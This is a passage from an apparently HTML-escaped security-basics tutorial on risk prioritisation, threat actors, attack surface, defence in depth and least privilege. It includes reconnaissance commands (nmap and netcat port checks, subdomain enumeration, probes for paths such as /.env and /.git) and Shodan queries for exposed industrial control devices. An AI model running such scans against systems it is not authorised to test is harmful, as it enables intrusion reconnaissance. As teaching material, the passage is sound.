    python3 &lt;span class="nt"&gt;-m&lt;/span&gt; json.tool | &lt;span class="nb"&gt;grep&lt;/span&gt; &lt;span class="nt"&gt;-A5&lt;/span&gt; &lt;span class="s2"&gt;"cvssMetricV3"&lt;/span&gt;

&lt;span class="c"&gt;# Risk prioritisation script:&lt;/span&gt;
python3 &lt;span class="o"&gt;&amp;lt;&amp;lt;&lt;/span&gt; &lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="no"&gt;EOF&lt;/span&gt;&lt;span class="sh"&gt;'
vulnerabilities = [
    {"cve": "CVE-2021-44228", "cvss": 10.0, "exploited": True, "systems": 50},
    {"cve": "CVE-2022-30190", "cvss": 7.8,  "exploited": True, "systems": 200},
    {"cve": "CVE-2020-1472",  "cvss": 10.0, "exploited": True, "systems": 1},
    {"cve": "CVE-2023-12345", "cvss": 5.0,  "exploited": False, "systems": 100},
]

# Risk score = CVSS × (2 if actively exploited) × log(systems affected)
import math
for v in vulnerabilities:
    score = v["cvss"] * (2 if v["exploited"] else 1) * math.log(v["systems"] + 1)
    print(f"{v['cve']}: CVSS={v['cvss']}, Risk Score={score:.1f}")

# Sort by risk score to prioritise patching
vulnerabilities.sort(key=lambda x: x["cvss"] * (2 if x["exploited"] else 1) * math.log(x["systems"] + 1), reverse=True)
print("&lt;/span&gt;&lt;span class="se"&gt;\n&lt;/span&gt;&lt;span class="sh"&gt;Patching Priority:")
for i, v in enumerate(vulnerabilities, 1):
    print(f"  {i}. {v['cve']} (CVSS {v['cvss']}, {'ACTIVELY EXPLOITED' if v['exploited'] else 'not exploited'})")
&lt;/span&gt;&lt;span class="no"&gt;EOF
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;Key Insight:&lt;/strong&gt; Risk is the product of threat × vulnerability × impact — reducing any factor reduces risk. The key insight for resource allocation: patching the highest-CVSS vulnerability affecting only one system may be lower priority than patching a medium-CVSS vulnerability affecting 500 critical systems that is being actively exploited. Risk prioritisation, not CVSS score alone, should drive remediation order.&lt;/p&gt;
&lt;/blockquote&gt;




&lt;h2&gt;
  
  
  8. Threat Actor Types
&lt;/h2&gt;

&lt;h3&gt;
  
  
  8.1 Why Threat Actor Classification Matters
&lt;/h3&gt;

&lt;p&gt;Different threat actors have different capabilities, motivations, resources, and targets. Knowing who is most likely to target you changes how you defend — against a ransomware group, patch management and backups are critical; against a nation-state APT, focus shifts to detection and containment since prevention alone is insufficient.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Threat Actor Taxonomy:

┌──────────────────┬──────────────┬───────────────┬──────────────────────────┐
│ Actor Type       │ Motivation   │ Capability    │ Primary Targets          │
├──────────────────┼──────────────┼───────────────┼──────────────────────────┤
│ Nation-State APT │ Espionage,   │ Highest       │ Government, Defence,     │
│                  │ Sabotage,    │               │ Critical Infrastructure,  │
│                  │ Disruption   │               │ Technology companies     │
├──────────────────┼──────────────┼───────────────┼──────────────────────────┤
│ Cybercriminals   │ Financial    │ High          │ Any profitable target:   │
│ (organised)      │ gain         │               │ Finance, Healthcare,     │
│                  │              │               │ Retail, all sectors      │
├──────────────────┼──────────────┼───────────────┼──────────────────────────┤
│ Ransomware       │ Extortion    │ High          │ Any organisation that    │
│ Groups           │              │               │ cannot afford downtime   │
│                  │              │               │ (hospitals, utilities)   │
├──────────────────┼──────────────┼───────────────┼──────────────────────────┤
│ Insider Threats  │ Varies:      │ Variable      │ Own employer             │
│                  │ Financial,   │ (privileged   │                          │
│                  │ Revenge,     │ access)       │                          │
│                  │ Ideology     │               │                          │
├──────────────────┼──────────────┼───────────────┼──────────────────────────┤
│ Hacktivists      │ Political,   │ Medium        │ Organisations they       │
│                  │ Social       │               │ disagree with ideologically│
├──────────────────┼──────────────┼───────────────┼──────────────────────────┤
│ Script Kiddies   │ Curiosity,   │ Low           │ Opportunistic, easy      │
│                  │ Reputation   │               │ targets, not targeted    │
├──────────────────┼──────────────┼───────────────┼──────────────────────────┤
│ Competitors      │ Corporate    │ Variable      │ Industry competitors     │
│                  │ espionage    │               │                          │
└──────────────────┴──────────────┴───────────────┴──────────────────────────┘
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  8.2 Nation-State APT Groups
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;APT (Advanced Persistent Threat): sophisticated, long-term intrusion campaign

Key characteristics:
  Advanced: Custom tools, zero-days, sophisticated evasion
  Persistent: Maintain access for months or years
  Threat: Driven by specific geopolitical objectives

Documented APT Groups and Their Targeting:

APT29 (Cozy Bear) — Russia (SVR):
  Victims: SolarWinds (2020), DNC (2016), COVID-19 vaccine research
  TTPs: Supply chain compromise, password spraying, phishing, living-off-the-land
  Attribution: US/UK government official attributions

APT28 (Fancy Bear) — Russia (GRU):
  Victims: DNC (2016), World Anti-Doping Agency, Ukrainian infrastructure
  TTPs: Spear phishing, credential harvesting, destructive malware (NotPetya supply chain)

Sandworm — Russia (GRU Unit 74455):
  Victims: Ukrainian power grid (2015, 2016), NotPetya (2017), Viasat satellite (2022)
  TTPs: Destructive malware (BlackEnergy, Industroyer, Cyclops Blink)
  OT Focus: Most advanced OT attack capability of any known threat actor

APT41 — China (dual espionage + financial crime):
  Victims: Healthcare, telecom, technology companies globally
  TTPs: Supply chain attacks, exploitation of public-facing apps, Cobalt Strike

Volt Typhoon — China (critical infrastructure pre-positioning):
  Victims: US water utilities, energy, transportation, communications
  TTPs: Living-off-the-land (LOLBins), no malware, use existing tools
  Goal: Pre-position for potential conflict, not active espionage
  2024: FBI and CISA disclosed Volt Typhoon compromised multiple critical infrastructure

Lazarus Group — North Korea (DPRK):
  Victims: Banks (SWIFT fraud), cryptocurrency exchanges, Sony Pictures
  TTPs: Spear phishing, supply chain attacks, custom malware
  Motivation: Financial (generates revenue for DPRK regime sanctions evasion)
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  8.3 Ransomware Groups
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Evolution of Ransomware 2013-Present:

2013: CryptoLocker — first major ransomware, Bitcoin payments
2017: WannaCry (EternalBlue) — 200,000 victims, wormable
2017: NotPetya — disguised as ransomware, actually pure destructor
2019-present: Double extortion — encrypt AND steal data, threaten to publish
2020-present: Triple extortion — add DDoS as third pressure
2020-present: RaaS (Ransomware-as-a-Service) — operators rent to affiliates

Major active groups (as of 2024):
  LockBit 3.0: Most active RaaS, $91M+ collected from US victims alone
  BlackCat/ALPHV: Sophisticated, Rust-based ransomware, healthcare targets
  Cl0p: MOVEit (2023) — exploited zero-day to breach 2,000+ organisations
  Play: Used in attacks on Oakland CA (2023), publishing all data exfiltrated

Anatomy of a ransomware attack:
  Day 0:    Initial access (phishing, exposed RDP, VPN vulnerability)
  Day 1-7:  Lateral movement, privilege escalation
  Day 8-30: Data exfiltration (double extortion leverage)
  D-Day:    Ransomware deployment across all systems simultaneously

Why OT is increasingly targeted:
  Production downtime = immediate financial pressure
  Safety concerns add urgency to payment
  OT systems harder to restore from backup (specialist configuration)
  Example: Oldsmar Water Treatment (2021) — operator observed cursor moving
           Changed NaOH level from 111 ppm to 11,100 ppm (not ransomware
           but demonstrated OT attack surface)
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  8.4 Insider Threats
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Insider threat categories:

Malicious Insider:
  Motivated: Financial gain (selling data/access), revenge, ideology
  Example: Capital One data breach (2019) — Paige Thompson, former AWS employee,
           exploited misconfigured WAF to steal 100M customer records
  Example: Edward Snowden — NSA contractor, exfiltrated classified documents

Negligent Insider (most common):
  No malicious intent but causes breaches through error or poor security practice
  Example: Clicking phishing links, using weak passwords, misconfiguring cloud storage
  Example: 2019 First American Financial — developer left 885 million records
           publicly accessible via URL manipulation

Compromised Insider:
  Legitimate employee whose credentials or account have been stolen
  The insider is a victim; their access enables the external attacker
  Example: Most APT campaigns involve compromised employee credentials at some point

Detection:
  User Entity and Behaviour Analytics (UEBA)
  DLP (Data Loss Prevention) monitoring
  Privileged Access Management (PAM) with session recording
  Anomaly detection: access at unusual hours, unusual data volumes, unusual destinations
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="c"&gt;# Threat intelligence and monitoring:&lt;/span&gt;

&lt;span class="c"&gt;# Check if your IPs appear in threat intelligence feeds:&lt;/span&gt;
curl &lt;span class="s2"&gt;"https://www.abuseipdb.com/api/v2/check?ipAddress=8.8.8.8&amp;amp;maxAgeInDays=90"&lt;/span&gt; &lt;span class="se"&gt;\&lt;/span&gt;
    &lt;span class="nt"&gt;-H&lt;/span&gt; &lt;span class="s2"&gt;"Key: YOUR_API_KEY"&lt;/span&gt; &lt;span class="nt"&gt;-H&lt;/span&gt; &lt;span class="s2"&gt;"Accept: application/json"&lt;/span&gt;

&lt;span class="c"&gt;# Query VirusTotal for indicator:&lt;/span&gt;
curl &lt;span class="s2"&gt;"https://www.virustotal.com/api/v3/ip_addresses/8.8.8.8"&lt;/span&gt; &lt;span class="se"&gt;\&lt;/span&gt;
    &lt;span class="nt"&gt;-H&lt;/span&gt; &lt;span class="s2"&gt;"x-apikey: YOUR_API_KEY"&lt;/span&gt; | python3 &lt;span class="nt"&gt;-m&lt;/span&gt; json.tool | &lt;span class="nb"&gt;grep&lt;/span&gt; &lt;span class="s2"&gt;"malicious"&lt;/span&gt;

&lt;span class="c"&gt;# Check if domain is in threat intel:&lt;/span&gt;
curl &lt;span class="s2"&gt;"https://www.virustotal.com/api/v3/domains/suspicious.com"&lt;/span&gt; &lt;span class="se"&gt;\&lt;/span&gt;
    &lt;span class="nt"&gt;-H&lt;/span&gt; &lt;span class="s2"&gt;"x-apikey: YOUR_API_KEY"&lt;/span&gt;

&lt;span class="c"&gt;# MITRE ATT&amp;amp;CK correlation:&lt;/span&gt;
&lt;span class="c"&gt;# Navigate to attack.mitre.org&lt;/span&gt;
&lt;span class="c"&gt;# Each threat actor (APT group) has documented TTPs&lt;/span&gt;
&lt;span class="c"&gt;# Map your controls against their known techniques&lt;/span&gt;

&lt;span class="c"&gt;# Monitor for credential exposure (your organisation's credentials in breaches):&lt;/span&gt;
&lt;span class="c"&gt;# HaveIBeenPwned API:&lt;/span&gt;
curl &lt;span class="s2"&gt;"https://haveibeenpwned.com/api/v3/breachedaccount/user@company.com"&lt;/span&gt; &lt;span class="se"&gt;\&lt;/span&gt;
    &lt;span class="nt"&gt;-H&lt;/span&gt; &lt;span class="s2"&gt;"hibp-api-key: YOUR_KEY"&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;Key Insight:&lt;/strong&gt; Threat intelligence changes your security strategy from reactive ("respond to what happened") to proactive ("prepare for what this specific threat actor will likely do next"). Nation-state APTs use living-off-the-land techniques — native OS tools — specifically to evade signature-based detection. Against them, behaviour-based detection and comprehensive logging are more effective than AV/EDR signatures alone.&lt;/p&gt;
&lt;/blockquote&gt;




&lt;h2&gt;
  
  
  9. Attack Surface
&lt;/h2&gt;

&lt;h3&gt;
  
  
  9.1 Definition and Components
&lt;/h3&gt;

&lt;p&gt;&lt;strong&gt;Attack surface&lt;/strong&gt; is the sum of all points where an attacker could attempt to enter, extract data from, or cause harm to a system or organisation.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Attack Surface Components:

Digital Attack Surface:
  Network: All exposed IP addresses, ports, protocols
  Application: Every input field, API endpoint, web page
  Credentials: All accounts that can authenticate to systems
  Code: Software vulnerabilities in every line of code
  Cloud: Misconfigured buckets, exposed APIs, IAM misconfigurations
  Email: Phishing entry point

Physical Attack Surface:
  USB ports on devices
  Physical server access
  Printed documents
  Hardware supply chain

Human Attack Surface (Social Engineering):
  Employees who can be phished, vished, or manipulated
  Help desk procedures that can be socially engineered
  Third-party vendors with access to your systems

Supply Chain Attack Surface:
  Software dependencies (npm packages, PyPI, NuGet)
  Build pipeline (SolarWinds model)
  Hardware manufacturers
  Managed service providers (MSPs) with administrative access
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  9.2 Attack Surface Reduction
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Principles of Attack Surface Reduction:

1. Eliminate what's not needed:
   Disable unused services and ports
   Remove unused accounts
   Remove unused software

2. Minimise exposure:
   Don't expose internal services externally
   Use VPN/private endpoints instead of public exposure

3. Harden what remains:
   Patch all remaining components
   Configure securely (disable defaults, apply hardening)

4. Monitor what you cannot eliminate:
   If you must expose something: monitor it intensively
   Log all access, alert on anomalies
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="c"&gt;# Attack surface discovery and reduction:&lt;/span&gt;

&lt;span class="c"&gt;# Map your external attack surface:&lt;/span&gt;
&lt;span class="c"&gt;# What IPs/domains do you own?&lt;/span&gt;
&lt;span class="c"&gt;# What services are exposed to internet?&lt;/span&gt;

&lt;span class="c"&gt;# External port scan of your own infrastructure:&lt;/span&gt;
&lt;span class="nb"&gt;sudo &lt;/span&gt;nmap &lt;span class="nt"&gt;-sS&lt;/span&gt; &lt;span class="nt"&gt;-sV&lt;/span&gt; &lt;span class="nt"&gt;-p-&lt;/span&gt; &lt;span class="nt"&gt;--open&lt;/span&gt; YOUR_PUBLIC_IP &lt;span class="nt"&gt;-oA&lt;/span&gt; external_scan

&lt;span class="c"&gt;# Find exposed admin interfaces:&lt;/span&gt;
&lt;span class="k"&gt;for &lt;/span&gt;port &lt;span class="k"&gt;in &lt;/span&gt;22 23 80 443 3389 5900 8080 8443 8888 9090&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="k"&gt;do
    &lt;/span&gt;nc &lt;span class="nt"&gt;-zw&lt;/span&gt; 2 YOUR_PUBLIC_IP &lt;span class="nv"&gt;$port&lt;/span&gt; 2&amp;gt;/dev/null &lt;span class="o"&gt;&amp;amp;&amp;amp;&lt;/span&gt; &lt;span class="se"&gt;\&lt;/span&gt;
        &lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;"Port &lt;/span&gt;&lt;span class="nv"&gt;$port&lt;/span&gt;&lt;span class="s2"&gt;: EXPOSED to internet"&lt;/span&gt;
&lt;span class="k"&gt;done&lt;/span&gt;

&lt;span class="c"&gt;# Identify open cloud storage (if using AWS):&lt;/span&gt;
aws s3api list-buckets &lt;span class="nt"&gt;--query&lt;/span&gt; &lt;span class="s1"&gt;'Buckets[*].Name'&lt;/span&gt; &lt;span class="nt"&gt;--output&lt;/span&gt; text | &lt;span class="se"&gt;\&lt;/span&gt;
    xargs &lt;span class="nt"&gt;-I&lt;/span&gt;&lt;span class="o"&gt;{}&lt;/span&gt; aws s3api get-bucket-acl &lt;span class="nt"&gt;--bucket&lt;/span&gt; &lt;span class="o"&gt;{}&lt;/span&gt;
&lt;span class="c"&gt;# Look for "AllUsers" or "AuthenticatedUsers" = public bucket&lt;/span&gt;

&lt;span class="c"&gt;# Find shadow IT / unknown external assets:&lt;/span&gt;
&lt;span class="c"&gt;# Certificate transparency logs reveal all subdomains:&lt;/span&gt;
curl &lt;span class="s2"&gt;"https://crt.sh/?q=%25.yourdomain.com&amp;amp;output=json"&lt;/span&gt; | &lt;span class="se"&gt;\&lt;/span&gt;
    python3 &lt;span class="nt"&gt;-c&lt;/span&gt; &lt;span class="s2"&gt;"import json,sys; [print(c['name_value']) for c in json.load(sys.stdin)]"&lt;/span&gt; | &lt;span class="se"&gt;\&lt;/span&gt;
    &lt;span class="nb"&gt;sort&lt;/span&gt; &lt;span class="nt"&gt;-u&lt;/span&gt;

&lt;span class="c"&gt;# Subdomain enumeration:&lt;/span&gt;
subfinder &lt;span class="nt"&gt;-d&lt;/span&gt; yourdomain.com &lt;span class="nt"&gt;-silent&lt;/span&gt; | &lt;span class="nb"&gt;sort&lt;/span&gt; &lt;span class="nt"&gt;-u&lt;/span&gt; | &lt;span class="nb"&gt;tee&lt;/span&gt; /tmp/subdomains.txt
&lt;span class="c"&gt;# Each subdomain = potential attack surface asset&lt;/span&gt;

&lt;span class="c"&gt;# Check for exposed sensitive paths:&lt;/span&gt;
&lt;span class="k"&gt;for &lt;/span&gt;path &lt;span class="k"&gt;in&lt;/span&gt; /.git /wp-admin /.env /phpinfo.php /server-status /actuator/health&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="k"&gt;do
    &lt;/span&gt;&lt;span class="nv"&gt;code&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="si"&gt;$(&lt;/span&gt;curl &lt;span class="nt"&gt;-s&lt;/span&gt; &lt;span class="nt"&gt;-o&lt;/span&gt; /dev/null &lt;span class="nt"&gt;-w&lt;/span&gt; &lt;span class="s2"&gt;"%{http_code}"&lt;/span&gt; &lt;span class="s2"&gt;"https://yourdomain.com&lt;/span&gt;&lt;span class="nv"&gt;$path&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="si"&gt;)&lt;/span&gt;
    &lt;span class="o"&gt;[&lt;/span&gt; &lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="nv"&gt;$code&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt; &lt;span class="o"&gt;!=&lt;/span&gt; &lt;span class="s2"&gt;"404"&lt;/span&gt; &lt;span class="o"&gt;]&lt;/span&gt; &lt;span class="o"&gt;&amp;amp;&amp;amp;&lt;/span&gt; &lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="nv"&gt;$code&lt;/span&gt;&lt;span class="s2"&gt;: https://yourdomain.com&lt;/span&gt;&lt;span class="nv"&gt;$path&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt;
&lt;span class="k"&gt;done&lt;/span&gt;

&lt;span class="c"&gt;# Reduce local attack surface:&lt;/span&gt;
&lt;span class="nb"&gt;sudo &lt;/span&gt;systemctl list-unit-files &lt;span class="nt"&gt;--type&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;service | &lt;span class="nb"&gt;grep &lt;/span&gt;enabled  &lt;span class="c"&gt;# Running services&lt;/span&gt;
&lt;span class="nb"&gt;sudo &lt;/span&gt;systemctl disable service_not_needed                      &lt;span class="c"&gt;# Disable unnecessary&lt;/span&gt;
&lt;span class="nb"&gt;sudo &lt;/span&gt;ufw status                                                &lt;span class="c"&gt;# Firewall status&lt;/span&gt;
&lt;span class="nb"&gt;sudo &lt;/span&gt;ufw &lt;span class="nb"&gt;enable&lt;/span&gt;                                                &lt;span class="c"&gt;# Enable firewall&lt;/span&gt;
&lt;span class="nb"&gt;sudo &lt;/span&gt;ufw default deny incoming                                 &lt;span class="c"&gt;# Default deny&lt;/span&gt;
&lt;span class="nb"&gt;sudo &lt;/span&gt;ufw allow 22/tcp                                          &lt;span class="c"&gt;# Allow only needed&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;OT Attack Surface:&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;OT attack surface has unique characteristics:

External exposure (should be minimal but often isn't):
  SCADA systems inadvertently connected to internet (Shodan shows thousands)
  Remote access VPN portals (vulnerable to VPN CVEs)
  Historian servers with dual-homed connections (IT + OT)

Internal attack surface:
  Engineering workstations (Windows, often unpatched, running SCADA software)
  HMI systems (Windows XP/7 — often cannot be upgraded, vendor lock-in)
  All Modbus/DNP3 devices accessible from control network (no auth)
  USB ports on PLCs and workstations (malware entry via USB)

Third-party attack surface:
  Vendor remote access (often direct into control network)
  VPN accounts for maintenance that persist after contract ends
  PLC programming software downloaded from vendor sites (supply chain)

Search exposed OT on Shodan:
  shodan search "port:502" (Modbus)
  shodan search "port:102" (S7comm — Siemens PLCs)
  shodan search "port:20000" (DNP3)
  shodan search "BACnet" port:47808

Attack surface reduction for OT:
  Network segmentation (Purdue Model zones)
  Eliminate all internet-facing OT components
  Remove all vendor remote access when not actively needed
  Disable USB ports on OT systems (Group Policy, physical blockers)
  Patch windows systems even if SCADA vendor hasn't validated
  (with proper change management and testing)
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;Key Insight:&lt;/strong&gt; You cannot secure what you don't know exists. The first step of attack surface management is discovering your complete surface — including shadow IT, forgotten assets, abandoned cloud resources, and third-party connections. Attackers discover your assets with the same tools (Shodan, certificate transparency, subdomain enumeration) — you should know your attack surface better than they do.&lt;/p&gt;
&lt;/blockquote&gt;




&lt;h2&gt;
  
  
  10. Defence in Depth
&lt;/h2&gt;

&lt;h3&gt;
  
  
  10.1 The Concept
&lt;/h3&gt;

&lt;p&gt;Defence in Depth (DiD) is the principle of using multiple, overlapping security controls across different layers, so that failure of any single control does not result in complete compromise.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;Defence &lt;span class="k"&gt;in &lt;/span&gt;Depth Model:

         Physical Security
              │
        Network Security
              │
         Host Security
              │
       Application Security
              │
         Data Security
              │
         User Security

Each layer:
  Provides controls that the layers above and below cannot
  Slows attacker progress &lt;span class="o"&gt;(&lt;/span&gt;forces lateral movement, privilege escalation&lt;span class="o"&gt;)&lt;/span&gt;
  Creates detection opportunities &lt;span class="o"&gt;(&lt;/span&gt;attacker behaviour visible at each layer&lt;span class="o"&gt;)&lt;/span&gt;
  Limits blast radius &lt;span class="k"&gt;if &lt;/span&gt;one layer fails
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  10.2 Layers in Practice
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Physical:
  Guards, access cards, cameras, biometrics
  Locked server rooms, equipment cages
  Cable locks, device tracking
  Attack stopped: prevents physical access to hardware

Network:
  Firewalls, IDS/IPS, network segmentation, DMZ
  VPN for remote access, NAC for device admission
  VLAN isolation, WAF for web applications
  Attack stopped: prevents lateral movement, limits blast radius

Host:
  OS hardening (CIS benchmarks, STIG)
  Antivirus/EDR, host-based firewall
  Patch management, FIM (file integrity monitoring)
  Disable unnecessary services
  Attack stopped: prevents malware execution, detects compromise

Application:
  Secure coding practices, SAST/DAST scanning
  Input validation, output encoding
  Authentication (MFA), session management
  WAF, API gateway
  Attack stopped: prevents SQL injection, XSS, authentication bypass

Data:
  Encryption at rest (AES-256), encryption in transit (TLS 1.3)
  DLP, data classification
  Backup and recovery
  Database activity monitoring
  Attack stopped: limits impact of breach, enables recovery

User:
  Security awareness training
  Phishing simulation
  Clear policies and procedures
  Background checks for privileged roles
  Attack stopped: reduces social engineering success rate
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  10.3 Castle Analogy and Its Limits
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Traditional security: Castle model
  Strong perimeter (moat, walls) = firewall
  "If they're inside, they're trusted"

  Problem: Once perimeter is breached, attacker has full castle

DiD improvement:
  Multiple walls (network segmentation)
  Guards inside (EDR, monitoring)
  Locked rooms (file permissions, encryption)
  Audit trails (comprehensive logging)

But even DiD has limits:
  All layers can be defeated in theory
  Complexity of DiD creates management overhead
  Layered controls must be monitored, not just deployed

Modern improvement: Zero Trust (see Section 13)
  Don't trust based on location
  Verify every access, every time
  Assume breach — hunt for threats already inside
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="c"&gt;# Verify defence-in-depth controls are in place:&lt;/span&gt;

&lt;span class="c"&gt;# Network layer check:&lt;/span&gt;
&lt;span class="nb"&gt;sudo &lt;/span&gt;iptables &lt;span class="nt"&gt;-L&lt;/span&gt; &lt;span class="nt"&gt;-n&lt;/span&gt; &lt;span class="nt"&gt;-v&lt;/span&gt; | &lt;span class="nb"&gt;grep&lt;/span&gt; &lt;span class="nt"&gt;-c&lt;/span&gt; &lt;span class="s2"&gt;"ACCEPT&lt;/span&gt;&lt;span class="se"&gt;\|&lt;/span&gt;&lt;span class="s2"&gt;DROP&lt;/span&gt;&lt;span class="se"&gt;\|&lt;/span&gt;&lt;span class="s2"&gt;REJECT"&lt;/span&gt;  &lt;span class="c"&gt;# Active firewall rules&lt;/span&gt;
&lt;span class="nb"&gt;sudo &lt;/span&gt;netstat &lt;span class="nt"&gt;-tulnp&lt;/span&gt; | &lt;span class="nb"&gt;grep&lt;/span&gt; &lt;span class="s2"&gt;"0.0.0.0:"&lt;/span&gt; | &lt;span class="nb"&gt;grep&lt;/span&gt; &lt;span class="nt"&gt;-v&lt;/span&gt; &lt;span class="s2"&gt;"127.0.0.1"&lt;/span&gt;  &lt;span class="c"&gt;# Internet-exposed services&lt;/span&gt;

&lt;span class="c"&gt;# Host layer check:&lt;/span&gt;
which auditd &lt;span class="o"&gt;&amp;amp;&amp;amp;&lt;/span&gt; &lt;span class="nb"&gt;sudo &lt;/span&gt;systemctl status auditd               &lt;span class="c"&gt;# Audit daemon&lt;/span&gt;
which aide &lt;span class="o"&gt;&amp;amp;&amp;amp;&lt;/span&gt; aide &lt;span class="nt"&gt;--check&lt;/span&gt; 2&amp;gt;/dev/null | &lt;span class="nb"&gt;head&lt;/span&gt; &lt;span class="nt"&gt;-5&lt;/span&gt;           &lt;span class="c"&gt;# File integrity&lt;/span&gt;
&lt;span class="nb"&gt;sudo &lt;/span&gt;systemctl status fail2ban                              &lt;span class="c"&gt;# Brute force protection&lt;/span&gt;
&lt;span class="nb"&gt;sudo &lt;/span&gt;ufw status | &lt;span class="nb"&gt;head&lt;/span&gt; &lt;span class="nt"&gt;-5&lt;/span&gt;                                   &lt;span class="c"&gt;# Host firewall&lt;/span&gt;

&lt;span class="c"&gt;# Application layer check:&lt;/span&gt;
curl &lt;span class="nt"&gt;-sI&lt;/span&gt; https://target.com | &lt;span class="nb"&gt;grep&lt;/span&gt; &lt;span class="nt"&gt;-iE&lt;/span&gt; &lt;span class="s2"&gt;"x-frame|content-security|hsts|x-content-type"&lt;/span&gt;
&lt;span class="c"&gt;# Missing headers = missing application-layer controls&lt;/span&gt;

&lt;span class="c"&gt;# Data layer check:&lt;/span&gt;
&lt;span class="nb"&gt;sudo &lt;/span&gt;cryptsetup status /dev/sda 2&amp;gt;/dev/null | &lt;span class="nb"&gt;grep&lt;/span&gt; &lt;span class="s2"&gt;"type"&lt;/span&gt;   &lt;span class="c"&gt;# Disk encryption&lt;/span&gt;
&lt;span class="nb"&gt;ls&lt;/span&gt; &lt;span class="nt"&gt;-la&lt;/span&gt; /etc/ssl/                                             &lt;span class="c"&gt;# Certificate management&lt;/span&gt;

&lt;span class="c"&gt;# Monitoring check (is there visibility at each layer?):&lt;/span&gt;
&lt;span class="nb"&gt;sudo &lt;/span&gt;systemctl status rsyslog                               &lt;span class="c"&gt;# Logging running?&lt;/span&gt;
&lt;span class="nb"&gt;cat&lt;/span&gt; /etc/rsyslog.d/&lt;span class="k"&gt;*&lt;/span&gt;.conf | &lt;span class="nb"&gt;grep&lt;/span&gt; &lt;span class="s2"&gt;"@@"&lt;/span&gt;                      &lt;span class="c"&gt;# Remote syslog configured?&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;






&lt;h2&gt;
  
  
  11. Least Privilege Principle
&lt;/h2&gt;

&lt;h3&gt;
  
  
  11.1 Definition
&lt;/h3&gt;

&lt;p&gt;&lt;strong&gt;Least Privilege:&lt;/strong&gt; Every user, process, and system should have only the minimum permissions required to perform their specific function — nothing more.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Principle in practice:

Not least privilege:
  Database administrator account used for everything:
    Running DB server → SYSTEM / root
    Backing up databases → full admin
    Reading application data → full admin

Least privilege applied:
  DB server process: runs as 'mysql' user (no shell, no login, only DB access)
  Backup account: read-only on backup directories only
  Application service account: SELECT on specific tables only
  DBA account: full admin, but only used from management workstation, 
               with MFA, and all actions logged
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  11.2 Why Least Privilege Matters — Real Impact
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;WannaCry (2017) — Least Privilege Failure:
  Many infected machines ran as local Administrator
  Ransomware inherited full admin rights
  Encrypted ALL accessible files including network shares
  If processes ran as limited users: ransomware encrypts only that user's files
  Least privilege = contained blast radius

Pass-the-Hash / Mimikatz — Least Privilege Failure:
  If every machine has the same local administrator password:
  Compromise one machine → extract hash → use on all machines (PTH)

  Fix (Microsoft LAPS): 
